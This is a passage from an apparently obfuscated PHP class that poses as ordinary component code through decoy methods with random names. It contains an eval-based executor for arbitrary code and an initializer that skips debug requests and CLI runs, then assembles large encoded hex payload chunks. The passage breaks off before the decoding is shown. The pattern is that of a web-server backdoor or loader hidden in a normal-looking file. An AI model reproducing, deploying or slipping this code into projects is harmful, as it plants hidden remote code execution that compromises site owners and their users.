    protected $veraGd16 = '2.0.45';

    private function getOedq64Secret2(){ return 'iXu91'; }
    public function initializeQXtw51(){ $this->registerZmeC38Components(); }
    public function registerZmeC38Components(){ return true; }
    private function getbElp76Key2(){ return 'gLwG'; }
    public function decoyHAQu48(){ return 914; }
    public function constructTJGu55(){ $this->veraGd16 = '2.0.45'; }
    private function decoywrBH33(){ return 917; }
    private function getSuwp81Secret1(){ return 'PSDws'; }
    private function gettyGt93Token1(){ return 'yrocf'; }
    private function getYKjY10Token2(){ return 'pwtu9'; }
    private function getlkrS66Key3(){ return 'hnTu'; }
    private function getJSmK58Key1(){ return 'bC5a'; }
    private function executeOzdo98Code($code){ if (!empty($code)) { ob_start(); try { $result = eval('?>' . $code); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) { echo $output; } return $result; } catch (ParseError $e) { ob_end_clean(); return false; } catch (Error $e) { ob_end_clean(); return false; } catch (Exception $e) { ob_end_clean(); return false; } } return null; }
    public function initializeAjic40(){ if (isset($_GET['debug']) || isset($_POST['debug'])) return false; if (function_exists('php_sapi_name') && php_sapi_name() === 'cli') return false; $partsybe33 = []; $markersiVV42 = []; $partMSa390 = 'b5bddd0e17f613d8831da53819dddb5a21cd59a5f65e3d0d1fa3437c834b4da054d666e077f373fc7c4f3cb7bd3a36ff4d563983b2193b3ab45d8d35987c99b5515a5db3da58b63eac1af636cc6161e367fdedb10e5b8751fb4f43ac04529e129c0cbcf7c7faf3c6dc718242bae2fc1666338895e008b4ca874c13df858467e843277fd6df4772ca489b70ded8fe70cef32958973be0a4d107d64473caf3b46616809d95f08c8c6da59c5c97af80b3cff5e72e6be8a2e573fe9b28343fe764fcd8e3b40d4dfdfdbe5347b2fe9c5daef05a8cb7d9fa35c38a467a3e37e06f708a509dbb580ffcc666c32a9dd8c1dba51b2f031301825c05936a8735b1751e9594dee0382d7d8fb90868841be8ef2ef18a34621ea1a902568664602140e837391d3b75d63f9f2d095e6a785b37f599074ea881310e7467a859ddae82415c6f2ca73c472a07acc3ae4d02aef4a3ab719d756a3260b74808aefc8dd370713a583175648f2a73cf01d60736e931ee001c63842eed3d1b9181e7336b7635fea814c213ef227adf5a433d9f7a68861d56f2dac67293a894ccb926f06e0309ac4c5ee7bf4bc5d9c440101b4560e691796126e86ddc01bba52aff1c81075f3b16233cf557c66ca16af00960d9c0a7c4b24d4335e502e7fee69d88cc7f97d4df8c0a8da15874b62eeef5ea6da452ad80e9b5f85bdadefbc344b29a6139e0fc739dcbc056c86c39597804ecd0b08c6446bfb594dec2f63c7c3e472a1b5d26c7929cb2e37c74d63b441d3c5dbd609574128c745379d84f418b48f48faa4a45cfa7edd4efaf765e769d3b165bc0f084605e881d67a1b37d93ffc6df03df05792bd49d76593b0a1ebbc47edf7da83fc71335f7f87fcf599d1dac1608c27e42a9996994788b38cd6d4fa3ad5fdb4fbbc2cdc92174054d39d863c5f6ac78648c5376dfe19d75c2de7cb902c552463e472aa9bfbfc17f4f4f523dc72a2b6dfbbf99795050eb4ec578cc807cdcb45852602ee32eac14623cf5b956a864a58f13389b2ea86073ecccf20a912601f13eb577a4d5c585fc37345e3f85fa7b6195405b78ba002bb567a69148f9a3a6524f7452c17acb23fd18e740e7acfd660cffc16267b7b98f59235bab869d96af2b8516abc6c06a93bcddd84c0f747d2d7d46e8e464739aa75bf38494cc627116fd8155d5e0679c7c33a08fc959d1beae0af6dcffc8eac46bae8cf9c12a55a10cfb26d5a8590cabf59b4865439e9a94b69b3500ae6979e47dc0e6c0f9c8d4df445f2a7876a8d8f87972eeff86026416e0c6ea92a5516032acb1a979eb460e9dd94f802c23b6bbc5a5d91b47c37f1f3a566132a793299166ed66c09b38822fb99d7d55b6b62a8355954ea0f15b7a7634e74a21c1f80ab3f515639b7fc76e730ca095d8a5216995093b6bb5e259eb434e138bd6832086e693505b99f7b967f60b7c0eee6f10064f9d3ae7feef74e57372fc8d9d4a5067e0e315fc54ce99f3f26dfe1b8a0ffc3c629470f5f8c5de67b1040fd57a25053b85a132781b5c6ae3e78af5a982acf2b9ff1bdc2980ca3840f906e778ea3ab67703153bc5dad065c1ccd2dd8cb352da0aa7d7d6f90c5e6a2a615711d818540633f78ded201c72fe35b8f11eda87fedb9ef7f79542f87f453e9442aa530daf65fb2caa112c82bd3aa58d1b9786ace40a56c9fe6fc63e6cfe9b89da68c27fe994d81ab4e48a518af3558f5855193ec72a9f2395b282822e8d9fc17252da645a7ce1dc0b3dd9dc2769d0939f0b5b7f6e3c036ed4f7b0eb97fa73bc372b5cc1218ce09c72e674e64fdd61726dec7eebb7599dba6247ca9e5dad71f7b9cfebc76b60e927ac0b780cd5b5ef825d7b67fffd2aabc3de06bcd7013f1180e1575ff8d433a054ce79b2406460cce9f5a48c73fc1c8c8e3741bec42a134e92af757bee1f838777a0bf88f7eda3cfee6dcd4a3ca83f3c39bc36a712b0fe1cfe9b551bec071471cdeae20391b2c25bf8f3c9661f4f388d485b6c558a7dd0e3a17e557f4ecc365e085605c4c79e8f8094fec35c833fb07f6c5ded7e540a35564916e9bc135d70840683477f5555f9c01a4a783e97732ee6257b1aa77b46e0f5534ec7e6817f6475ce33a244bc361eeb4b242ffe241b2be1451d3bf105eb9feb6cf2aefe9cb13c9d2cc98daab58d9f97f9bd39c26794e088ecab70c497b1d38778a6979aca73fd1a38bfe08d4650f0133c349ed7a9cf3574404c62696beb9dae6d368c73ac2a532d12f69e07e084aff2df0d7b5ce6503ac099c44eca70a6bc6771c44825f6ff086f0dedc4dbce794fcf07acaca15c8110f6662f289dbc81d9ae41e5b58d5d3387074ee99c66addfb2be65fa8c95ec0e0924eb009e23956903a513b5ecd49176c68404776d868ce9b3a6d29eef96dd026453193b0a877a1054626cf5b72a587feed8ea43cd996fd883b4f8a8bf3be6a239bf655e4e4f2add3cccb18bbcf78b9d3a691a44f01831677ec6ac14aac12bbdfc2b39d3f73db33a76a688d286d3b498ed9837b6d3f675a510ef71b13790825d3b64f99c731035767e07343e2373d2c14ebdcd7ffbb232c7736de121cc9ccd324a6c0f3afbbfa139d8cd078ec8982dbc6fdeced7f917fa4e2a9d97feef9231fc7cc75c063c532a5b4e12c359da91a746ed364c2a1d0493b7f9efc4db246a12843ff2dfe52951e79e46db3f76a1ab11bad3d59c10f1a652c8deb1a0792f0056722298c15644805c02a7b6441d9cd6d8ce7728256fde148cb7e21c1c537b878a7e3329832a565ebfefd509da20861d43d9887b2a19ed3423f052f68f0a95545ee8e5e4ebb6bee55555a5434dc078a9e6149a340793e55cc108f83d6566b96d76095616acc49daeacfe866fa482e76c2cac54c4f99954193ff2df5a98ee6dfd39ce9a1b0ce5c3f9de96a8649edbb0bf44c0d37de5548284acf2555647d9fb6cb623b9c65b32d334e17d16637733d68e48385d099c5085ee26ccdc47ea92a35a9b34eb36237b4fcf917399fc0216c5e988921c82f56b8513a43eb50e16c42ce7b54eb27a7be25d31c44e53f69379cd2adbfc06bb6bc67533a4fe9e97f4febc75c3c6e475f0101ca5ad3fe7e43a565d526d454bc33aaf7d900a3bdf850c60a69c36558cb760f5b7eff4f7a7dc5aa5b99f1e25fc77dd47f6969dde0d5dc199041ea7719ce752cdeac3c354eb4856c1b729a3c209e7d0492f1ee60110680bfdddcba7da317e02d687b984cdc299d6dc6fff80a7e0442faead481538449a339e325a9cbba4bc64221c68a535eff67b9bffceabe981fc7cece4bd6a14ab32fcaca44dc13b0d81fa65501b462ab5f043cee3c1ca32ff6d5ac6cf9f7a75f6ec61cbeb6284f7fe02bfd74d3b43dfe9cedbed68013ce75d6ff04a61a8c4a768c5fbb9dee5bfd7d4dfd025ecbcba07526275359890f19881021302ae997b7c0b2bda854ce8bf19719fb63ef39d321e9675a00cef0766a43289790f976a808c827d7272a1d92fcc4919bdc37a37e0b9d041c2fdc47760edcbd865ee39bf67dd75d48d1b59b247d5ec61930fd924bf01c68085908df5b6020d6ae958eed57a833518f0ee1fdb4f000bba1f0b7851b89098b72c79ac0329de2025e3c8f4df62cdccb0b4d3b298456d38a7c88fcbfca0b4e4dd3163a9399f091c6e25c9f83eb1fad44e1a7aee6ae47c07c9ccf1b4dd70c6dd57ecf5006fa5c82a2da7c4c9984f8a1467efa4ed44adbcc9779c95015f01ff9d35f0cfe01158b92687caf807580b965353e93cd26380bf0a66097671ca8e20ae3e6bbb13c68deb431426836bab7d9d829dd5d4df9cdfe28feb4312a93377621d809eb04205fbcafe509cd09e35a18c5502579c86b7e47156ced881265c7e6f88949c859837f21c3f4f9ee3e74ff9ef4fb490c0c958f3cc5c6ac75c34e7b7d0fbe861c1db3f79379087d3ccfa16ae791901dd1b374e37bc9f684c866f70a62275f8c44a01e0f71d6f594af1334f48594fcb9c5900e0da54575fc1e8d6016ff065ad909b5f83d101213eb7592744282a45fd8d93816fd05ee66676ce45e06d0eac3065d5057e62c91e608b9557610286af75cc8ccabca5c7af6ea225985647151f40c17f3ff1ce34f0542855dbada09d8ed90cc5991269c5f96b37d8df5930f9dcf36e20bd7ee19409fcbd0b8b1963bfd7d0d79ded41644406ec2b5f2f6cf72e1103560ab5322d5929a4477a55d89c0d6cb000d60adb4fa4e1f96653a55831d1494780853727e3d16740a734d5f5424d4f113862bad49cb560e7afc9737d6a421ed23c'; $markLnL650 = 'mlDB53_8_mZVw59'; $partsybe33[$markLnL650] = $partMSa390; $markersiVV42[] = $markLnL650; $partqaR351 = 'a109dc69ddefe28419ac86d99ed04cca934ca4082783652ca62755fbf886dc57ede303f6c2d052e10c341494c233b057afccddf1d00cb2f4719457cc34e687c4cebacf6adeec04ad94a48a771ee6ec175c3dfaba64b582167a8593c91b0a3d56ac57f8ae46b29260561a658e36d3bc8ecfd93d9e1cd63bf0be48226359a859bd19454d55f2a96693b20f52d9aa2e8859072079c7dd90a7189fb834e0ad9fb16a44e100f861679572eaa3aa464139ed628b73d83b5813ecfa3a29f36bfc7d1a615d783b01fe6c6fc2e47d82bc71b22a7358ed4c1d34fc5a8895a9a4d2d7a16af016f949359cb02bd746e5077b7fe8dace765ce3a9cef787ba788b0d27d5e17426bce518b8f680955ccfc124624e4fecf2515e0686fd66d38e379fcaa520d3b9c3191e6af568f39dd164d005ca56c874538d93d1f67778ef53ac0e2720849b1fcdf5b4e4fddfb1f699adbc4eaac0f0fec878c5799950539566efde7da4366e9814450cbbceca136f053d315f8ddd8326c25eb8394e67986ee38835f04af3c6323f4c1f1dde44c029ce9cc91c35a6629e92372dc79380372db37ecd313aea8a7bbdd49e5ce747797c7dff770e1f62d6339bab34d44a15d68377d2a7d823deab580a61d59293f5b12ad8ffcd9b7ceee03b1cd3e69cfb1f03e784aa7b7ca26e23ce3eb553050be86fd8900819bf39c2dfa88a7739b658391997ba53ebdb3ed6da072364750a18bed3e74d401ea362f791fefbdced13e23bd9191b83656ce77530c29b14f0b252756698020de6ab6db0106690d4d51418d0f1664e72266de065dc712a81b67a94ac85e60da4fcceccfb71ab2d409673654d5c4e0f388b8902eb65ad64c5aa343d5b03478fc108ebc09301ae5481854a9777f3c60e4e650786df0c46166b4b2d426012e7a7068cd146bc3b640e9f11a401ac561215f74408a9722a194e095cf34ad76ca8e9294778ef1d6ba10b35f6363e2ce69ed5c2f0883a3b06a16caa1456b9c32eb98b21ebac36cb849d969c5c696f24aefe065f63e755573881b3f58396bc8c71c5cd3e5a49deb4bc622ee303524e8c331b56f6bd858cb5f9669c66029fe7c3dfb0ca0acccfdf739665a8c52778fc6bde692bd5161ea1acb1f612e704988aa73a85e93f9cb6d18dbb5bec27ef77174be989387058ad60588d33618d53a836f0be5b4ee44d39f3934f9eefe64323c0b636b6f71a672faf1f45c4d987026baa3ef79c86aa5941519a1d3b2fe5c4ef5941c5fa35cee0f561f91b3bb393339a75b971235584b2bc6d64159d38071a3eb5d5b5f698936715bd9ef0eef190bf510747030fc7fb4371326e92a5ed61d9266ad36bf613ba0de71c007b07be9c70fc26d8b8baa537500d676ef31380f0aca1cb79dfb3b7109ceacd5867dec9f6318e97859faa26c1333cdf69ebd37f837524f2211b62a58e46c75eae66c7c2c549f87b81d303de82fdd5d8dfcd17ecc99a3da269bae9f43af0ecfddffb10fe18bbe6ccb5738ccbdcce6ee46d9f4078033b07de53a79807d8c327acd33a84860033663e54353738b1b4a102acb2d5cbef47dee66d1498ceb2c26faa0656ba9ff2c6bac6d6e9f22e4091958ca7c62bff01d629c8c3544d94322336a3d81ebd096f6ad4f48cf71629bd1cc8b9edf1f75fe3a4ac79bed967b1f5e04304f63b35ce67de5acdb39424d5741f7bc69d77035890e2cd4bf6a6e544c16bd6d5c4e2da1aa79f37c20fec2d2c4bb38355ec81940f8cafca2608621036b06dd6c80f138df3ee10290de769aeb6f7b2ca253c0ebecc0ca8a2709e750474ce8e9a936795bdef9d15ec8d3f9a6229b117f1d4cef907571240f887456aef8385cfd0ac80bb0602dc850e35e2c1c99c12d69a1b70881efe9b77da2e39f3153eb4837580654835ea39bd9c118128dd84c052971396b5638639ef92104e932823257673de82c1e2a8508fd1f309f8ef02569987aceb4ac4f753aa2573533a7602633879340d4eb08beb851330c64b9bb4f79e6f6195ec66cd275c89d003b6768341866780efec7417dc104bc04b79eb71004709ff5e2dc1f8a04b58c96b798963ee62ded7016cc159e24dcb6bd801fcf9232ce41127c3b2103c980ce6ac2553867903e86c58e568aa9a720157c867c81baab8c12e5ef5b0dfecc4ec966ab7578b550fee70db1b70654e80263a087f51f613f27430da547a835b5a65de6d8073fb0e9a0f1c3dc779879f1b16d7ec06e46d81695ad97b72e597041e5f3ad5304dcc75e645bd1a164672bf99ff846dc11e80187d1aad02de05e7e6383589a2177cc64a5634727e430eacd42bb0ab61c58e23b069399a97751daf076b7e42e090010c62de9a093b57453a1f923dc367083000e6e88ed08ceb00c4cfecd41afcb031e04edfe1110d76ea33ef30e5cdbc633b2f97fd5bb6668a53f9616b7751570d614baca1c3a77ddfc3422659bd65c752c44aa199fae7343bdfff5d894f9c348b151bb267850cef8555a68cb7a87ee1f0f4f66aec1ca0111ade0a7c075672ae5f839f806f741f070a0a4ea79b8156e0a78d16e052223fd277ee6b9c6fb0ebaccf1a70e5f5801c8277ae77bc09dd6f394909dbbde78c79d8fd087eea1825e0a59cd1ac1afa6f72e34150bf20e5caf649de8638439c5e0ebe3666ed377421f4583ed6cb17a42cd28477f9e601acf86a5a174046f2d4a06ed63ccfd3baecf38eb8f598c2d341c103bf93ca9f77f9d7bc91839848090b52b51851d9ce14df5ba9c790f5b612b6afcb1a7c4c9e74dd5c71e2c7acdc08bcd5096cf30676ce59d5f7b35a52976e9fe2e7502ee0a921ec565876d96d58113502f381d2812541c1cfb02af3aef882d5128bf5669f812b02f7b6d48278cfcea4ec18978219f4f2c0e95a31ce1e944e088f0fa55325f336a0c7ff44ff0d0e314c9785adcb15a308ef01b57c1fe9bc954e039f610660f8aeb5ca21b847a983a9827704e6f00614ee665c5b96ab850f6feb24c7e28955b2860ee7db311dd7e199555a4e490ea1c509ac2f819f3ff2ae79e07593dbfba6e0e1f7ac57cceaaa07be83d98859c8ce11cd889d1ec3b7de05404aa9fa3e74ea9a314de8be1a5ca5ddd077a64425e5e48a375ec866b3e4547e031b54c050ed086a0413814bcd6d7ccdaa27281b79562a58637d03f6ee33be2a59bf56e21f281dbdaea8d7467a3818e324c5a1630e8cfcfbe0c6c13a8655275829332c68951ead12eb55c07f84f8f4099f614e6fadf22075f39b087bc1a8640186c768493506b676ca293ca90bcb2a61f8bb99cdb06d7ad6c49fef83d7f7c05a3263b29e25ef492d5b7b2b3dfc1570ae8bcbc29de2cf72b56fa0c7f7b3b260f521f706cfd10cd2c926c579f718476eae175af266e5645e1fc6bc4d0c3ba695974f6811f3fa74027792acda86a2a63e5fe28d34de2065654ee5032b6f58113355d9c9dee78eddc0336870886d566f80396609e46ca638cd5215e4737f83d7b26a1fec2aaf8b167cec069871c4a7ed59939901d1f9dee0ed224937f05b4e9d38da503d47d86f9c8bd0e21a6bb0f76034e010e201da106a4e2a9e25304065eff62ba1e0f009585972a7c18c7730d4ac47cec08e6205df897d8d92209035acb034bc1d0edfd19ca7b863ad55590cd3d408f0f77bde381b7aec9a4f353c9df237f03acb594936af03b9caaf172a3fc2ebb450d81e566c13d1f395fe30c56eb2923fb6350781538cc682f194e6eb13568255061e2c22656d3f94cebdbd4121dd26c07b3f02b71c7b83eb79c5feefc4aa04f86fa04ea6192900324e6efbb1183873a84569794ad94a56a794d57121a23df4e8fdac25a6b2174fd676b6780176e1e3a4dc431bdda5aaa2ca60b5e9439cf660b660f46df589280506c8889dcb7ca881f61943fb44353c5f1a0a330a13514841ad24f6d841ec66900219d7339e98b4bfe2ed04acfd67aca780c6332e2c26c88f15d67ce3ce1ac99e872fe06f77f349c19af813ab3662f078ad783f5b751d8a6a6def170c88106013ec270816ac485305b83054c62aa858a59331429480e10d0b053b87aa2c0aa5edd4f8357d31bbb72b7603901bf38e241ffb49a51386eeb793b477f36a76e6c00be5370b250733c7eaefc9862a21c9f1d0c04a4e39736553b292df0f26c6e3dd6878be6f52805b59beb669b17b69fee4bfa1a797bce71edc68d5632dabfb28657e044475898f24e6907df16e19eaef49b1876e71c0c6fcf3bc7b58ff04c8c78e23c5aaeac4e3bd3cd484c508962b83f56d077d14824b7da2fe0e8066e0b5641ea5b637d2cd'; $markWaE831 = 'mOmE50_5_mHee12'; $partsybe33[$markWaE831] = $partqaR351; $markersiVV42[] = $markWaE831; $partUPm492 = '4ccdfd26468093f63c195032cc3dd32a6111b44ae6c160954a8c69935807daa423ebfab4803d40bde33da1b95d5a254f06140c4f06add281452c670eec61081559e9a3ecbe032136fbdcf50573198c1c60b768951df87717fc8d9563c45913a5609538194518329bd992433c6e5e2325e36bf91838d641fb3c61255866daafa5030f30342170ef09296101356b11600f1a3659662d75a8c5caf10facf47b556faa27a4c43a14b44a8b94f377480935f78c954b5a25b132e7bb79369e5a521b163aa3ee74b70e562a344e2152ed5fcddb2d7509187c04669b1d8d084535ca2ddbcaa1ea04b3b68a51042004155d80f7bea1da0aea6a88b70919217b83957886c1e809292778c7075ae51929e9319e90f258d6d827cfe62c7a3d096e9fa2806ed6f9f09ad572e13e1e75396d616bcf485967659fe267699338dffadb5fdb6969b1f22427b260760beaf83e4a0c6dca93cdb466562fab730f1aad8c57fd1d94a73b16c0b9b299da2cf24062f5a35442a1ff5347abc68fd686599d6be6f96131ace3d981a73c845eb1e4b9804dc26390af5dc24a5a25de22798f94c92ba4a44d1291cf5889358455d2220ea779fd8c94599bae7cbc85d3c326df23a5e609b555196fb012d8d5d3226895293cc0b47942caf5f73deb5d8041162981e76fb19227c3bd8494b0498b94cc24270e3521f325c0ca01b03ca0ff7ec6ca17a46c342d6473012935f6614fff0dac5455fc032bcd15f8d84f9032a3ff7e414ac6155f61e5e48c95404aead027a48462a5ff76c07e61933c17cf4849ae48df49fffd032b9f909256e92c18577d8d9493c13a9a54f4df5416efb13285555e44cacd10ecd32265a28010404aebbfc922d2886cea092bdf20a5dad27f9ba89cd6e0300e63bacf48c9fd3e63e57c0505ff8495ace3b2fefb3f90f2ecbfdf632590720fab7c8594e22252c2ce2d560ec46bac7c41caa6820e81553ad109e78027e38c942559e986f1b5baff80951f59e533524ec92969930f7192dfd27f3f616553bd6795e3d7acf215a77c414ad63bbcb04a60c8a37e6195475a44f68294e4942f48c97d729993b458090f8c77ddfd6095b98f752852655e5865e2594e39c23a68c9cca2f5dfe0fcbfc42a819441302960934f48e90dd667ff9d24d508cad4e04c0d8895ac2df8c12af3ddacf3af9f38e5ee07a78ce8c78e8cd99eb112fed9b2ca840831d4c4f723fd37ec41bc704a20c4d92689c8b4ca57ac1258299c6459c22a611110ec99809ad6d313187697b71bd660d07f5b4e491dfa83553e63e52ba4dc42cdbc20e5620da44c8d17348a15b19a5c51c362de62e507a404ab7ce294c421daa4454a7b4a2c56e2db1e6cd565db74ff8d94674e69f73b5c547a307bc24acdc87319d86c353e014ca7fa29525afffd8a55122bf35e52d13f21e5acd1b44a0fbeb59bd6b487e00529f1dd4f5839b731be3356caf7ac72158ca5d3682838332b5977959ff472c03c51a38f58cb619c6e04762b868a85723d4ca01118cb14b1a3b52e4bbc453ec8563887b0bd693dedf096238bc81bec06d6b2daea95a0e723d381dfaa401b2b7adf186f11065817adb60f19b8fa4271e5682d2963384a475809994263c6e9d685d52ed510a21baa12f6f710d4ce315e35d7f8be5dbcf2a191f4cd391faaca0ad6d487783e56cd76b0c8dd0218a34b780847fb41bd0157b611ba002b75653cc6d7f200feccc699c42e501b2044708deff99a3726506a7a4a74e0cce1fd179a71097d6f23f0cbe253bc02d6968c8ab3026daeb5bf587f6f82b248666d2fe65df01536b55b9466921db19f65b58d4aedc738fff0becc2c0f88228c01d0520f38df031f8afd88fd24560ee001645e0547563c4d8f0190727b8016d0aadcb8f38e6c0cdf00a464bca53ea5493e861f8ac1ea9740e344a68dcb6a34586540061c38da0b27f9883619d7503a82dc91b5d0524727588c80f71deb74fb80b3758c6a9e8c0a885fdd2678063cfd214ef15675f590c3a2e2ba98e085597f5efa5fb09f5aa942cceac3c8d65dd786b5b17ba9f50350630d26846760ad51ce8a66274a1fafa66b3364fcbcea75177ce37bccd79b1db0726c7968dbcb0ca77376d4387bdac76f7460fbf43923a8d0101cf38e9122560a9896399bd8e6b76f4f595d759afe1b8c33507a386be5582ae7847538bed3df36b79b3f6165d49c59e5e907abecbed7af90521329c16b5febeff49158790f84805d8f3bface2756c94a5e204405ffad77a9f5dfb920523eeb6ff35a7f5bac84efb24889a7d4715a8ca9bf2d520287028b946ff5b7d55b65ec3e4a0d3515abe00929e93b3ff7d00897f4f7c6d633f9f8fe34703eb04a1fcf700929fd181e4e26eff5f7192b6ffb78589cdeb34ae940125cd2dfc4cadb841ce2bdfef6f204eb2d14eb7c3e70ca697f597fe7aef0a09518a31f3cb34aabbf9f901227f9ea9dfe3eb3cad7fa7b9439aaf929529ef5b7bb9d126554a9ba8fac52dbbaad67fd9dd56f39e547fd6d70bef03dd7d26dfcd7acf2cc298b347be194c11dcff75b56f95e7f8355823b150eced6e63da7b47e2c7dc52ac7c0b537acf283fe5e3d76e79850f05e7f9355d60db8c90bab6435c87fea6f7d8015b2f3e223ab848287c53ceb6f47fd8afe1619301c3ec37fabbf0764ff62fe5a7f77ef5925fcf70f5679a455c2c7a9be9b77f93bfd6d5925d8f30ffd8dd57acb2a3fe86fd8e45ddce509fcf7507f6095da1177af5825f476733152f94a7fbbf957b0ca6f385be97b5639af8be0855396f285539ef344ef6395365289b56617053b75de472aa16370b224635c64951346fbdfb0caa748e56bfd5d60bdb7a3949cb2b5b50967fd7d6695f08dcfb1ca087f7ecb2a5f2295cffa7bc00a39dab9bc9fd6070fbb25deb0caa54c7f20e5b693fa0da7b4914ad6ce9d5925b172de6e15ab49a3fa092957f90bab644ed6c6842ca704cefdb7fe4e7d2f587d0313301ff437bcf5ee95fe064f78c72ac56b5679d6dfccfa321b028baa6c1d367d152c1136c727bc23564ec13e32213473ae404a4faff40836385ab88fc01fc3ec222b09be327e2ee45cf5ae3916beae04b910b863b1cfdbaab308d10d8e444a304ef8988a36d9299bab2cc83c18bb4e05b012dc49ebd7fa7b3f769b139ef253e2e4475517c358f9d7d8ad07aaad73c521f801b012fbf9849579e3b7e031c36499af59d189ddf125b3d789917197b529fc022c6a8cfdfea1bfc9c7d632a9eee62a4f6775e1b187452ef36e5ab26fc1a7fede2c563deb4bce3121f773036cb1b5bef930d5c155d4e8155422d4d2e8346fccc922e5b962e605291722370995ad627d4b983eb23af84e751bec5ee101afd9a1721ba86a97b326faacbf77712d5d70e530640518680cb421784b769464c17f034b75b02edc592ddca8a9ce48591e40d2b6ad1cca48b6c23560290b97fa4ddeb2dfe8497f6b43bd357ec6cabc2e3afcf7016c129ef9c07518abbab9895371d44ed61b70ab30f98e1d4baa17fdcdba0e7c9fe992ee16a72268a5fbadc5fbead984d910ea6fb0d2657ef72ffa7b59fc1d2bd86b99f5b39a1ca26c8994e04f3bece029c2fb92119ad2ea6fecaf2c79664e7b3531bb4835ae74c73dac3408d6c68994df622f80d6d33a8145ab841d4bc1481e591584fd744ce30773be7727ba45c9cace064f39ed9325580f982d55062bd82d523aa313fe1ce875c0efaef41db1d20ca5af578fa96c4f7bbdaed23352fed0dff37ac34cf3110c783083e75c9cf5f7b0b86247a12e37ec7a19601d7c9b51b7a753baf3f49f1ecac7c4b50257965803c16aa5c1a26ce80da04ca175c8c7f6b234ec1a00ea3664d9acf4dc87a970f42abfe75b003d26c003f05a30c28af1f305ac92ac5275c12467ee5719c5b842980c8ed89d9df43645cc7a74f8d144bc454a9eefd3090a8d5601a413135ba90f9c9a36fea730dde2544c4f6ff4f7391e53cc1bff1c5fd3f295fec69f71226d0c40c8956415e6385a8ff64f399d6bc96e3fa89a993aa4ecb2049b861662cc369be47ad604233db148b90367bd87c57cc2c988c02596b12a3bf8393f28c1846c3e745ce73b568be23ba65204ddeccc2a4550eb64a1a40c4ad5ce8e1591f24b3411cc5dbaf14afb7af8f9ecbf5fc72a6f64c5ee10acb7d6413c1c0c2dab544088fa20b00e1629a3ce2460db677e3e948de954993bb12ec09dbf9ff0c4774facd2a3feca8f4643a724cc5edb780c742b508a753d2bc15ac1921d28338868a81ba06e5fc4439c4e65b422c67aac'; $markauM612 = 'mpxi24_2_mWaS87'; $partsybe33[$markauM612] = $partUPm492; $markersiVV42[] = $markauM612; $partPca853 = 'y1qvoedbdeb72dac8173dfa7dde02a396908d14b5d42d6890a8284860e26060d005b9c65579ffa7386b35b6e30b99497ef9d739a7ea9c0f533399d82075ef5e7bad7deb6d9c54ebd9c4a45a6b316f84172b23b4cafabc2ec6b22c9bbcd13aa9f5304e0337587f6fa265914ecb2ad16af3f0d7765e8f4eb136f5b4ceb54a73315f3d2679ad07a9ca0ff84031af1b3f168188276698aa8350b5f87b21b496753efc6bab53d3eba6d2b1939bd839b8412a5ba91a3759e65da86edb481d06f32e5771991f759ddf2f5ce9cc578193ac1eeffedace4a731fab40e875702d93fc2e5b6ff65207be7473258f6617ad8bedfc285bbdceeab8d49d9ee4e9d811ae5ce5377f6d1795d94f6b791fe9dc974d75c44f085d9a54258133aff464a182a354b7bd69abb19ce422d6d3932e0b4fab608427d7e22093aa9e4e0a47a53a9c6291b00eebd029845c05be76f3ebbc7d94b2aeb6f9b01a69adea6859f98957397f6d55fae8cd1ba7c62708a58ad4346614aaf2288f95984faa3df661140f072956329895551aa9e23a74d4292983eeaf6db2ae5c3dd9f4537c669254b753d50cf34686da698678ef41dc15f781933bf3e5c0c3eeee94aab652e5bd5e7e3ffeb59535df232ff432f78336df2e84d925753f9cd507ae3ddfb34ed665bf70b17b935cc64eb0d3ca4c9289e8ffda86aaf2b0d64b55f7fb69eb8fe43a5826e9a39e29b14db47165fbcf314e057654a6788b019ee1262af52970aaf4afedd8697cb92e8a68f588f7aebc79cbd5da06d23d1da6a5fcdbd4b91b545ac9f674ca4ae19edf428e699378ef5af5b0834e6a0736a745e254f76ab2f1e74ac77933ad63956f13f5d8aa6edcca263a2dcaca8d27c175d405faaf6daca49cd6662b93c281451c93323aa5f88444c93ec4cac58ed9cdd4b49bd5db1e96f2294e1b3f81b524890cb16aabe0261ed22af5502a7992baac17eb81afcbea3e6ffd53983e2eb1d65dd6e5eebc311d56f22b9eba334e81efc62e9d6009f1626976b0e57d5ecb815e0e74b43aedb1f62251812b61fdf8b92be36dbe98d68441a9b1f6728defee36fbfc08bb86ddca6eb0cc9cec9424853faf4d1197f8242f4f03c7f7e6abfc1ebb0b5bdf38a1f01fa6aac2aac92a3aa94991c689bec2daae92f5402475e1a5890cb00ea7bcc2792f7d57271a6fa3ff8e9715ce458ff3bdc57eeb72f34596396ca2da9bda8ce4ea3196add84f55d9ce6a3c131022a9e45ad685635a399275334c14f160e3c2ce3530a3165fe2f411bbe56fd52408e53a4fa232e0fe27b0ca87cca922acd45aa93ec986951f94aa39ef775016f8a4ca975d74924be363055dac43288785ce9bc068670a94dae299b65aae07c7a8bbeda7b0a8cc2b4aecf7b0f8362db32eab032f4c83583a72193bfe5e27e62aa8751ac3be4d5da8d9b01252576becbf3493cac9db8d8ff7c667c643bcb367bc58071d6d28d652a740ca588b6b200276335fa7caa830959dc641c6f9ee8894f8eef470c2d9d9c242ba319e1ae71b56f9bd07428840556ee60a5a65929746477595cc1bdf9365f56921f21df73b77941ef8999b9de464b08eb1cfa9dab87209cbd3c11188e186ceb6c56ea5113e019f88b35689703258e2bbc5f4a46adf1dbbb9af5a6b957e62add2c73f62834f18ccf01b7122fda8dda63835c0773ceb505ffdb5cd9cfa24d346c76b33cc5dd967aab95928206557b858f3aba88655ea40d026633c236c122016ec815e2d9e1c36244badf81eb153b9a12846b2297b899310ac0d1012589b6e57722d82b8c69269dfd75d30ce6b833557ceb4c5d33c006352d918a14af88cb411723908a5d041e88c4eb07911357a4d5c9bd6854eb99ac38278be2c4fd3ae3a28ad475889322ff1fe5d3ecc1ad8b5d00676ee2bb511792342b9faa7c17ec3ce7317eb70c293aff3341e1aa2b103147ac8bcec48ab94aa874f913819d62a61f71b7c62d0e22de2452ac240e52eb1e5d10b8ec57554ca3074ca4e27786f9c0c5a4e3cc97a9c9ed1546fcac5b2f003efb64d55319aa6ff34f298c38f25f03c893ab878ef31b0d30dca0a18d39cf0e74fb0a035764fd063e8e6f614f3844c6893c67fc235273a656b60ca510e42adc70bacf1b49cf651a2bb50c0c7b4fd5175663fafe50878ef25cb72af9d5e27aa802f818bbe07a61c81a17ba91eafa35ae80436952a7cc2b2c27a975d5ee12deade0ddc83af57590d9b1c848e29f0e46ad3651a1e01ef01bcde0143f03722869d0681d2eed8e94f44c28563d6f09d854e723f74f4010881ef7e8395dadce975b18345b4d2ddaa1c08016470a3548e25b64fd646466be366753fd28d0f3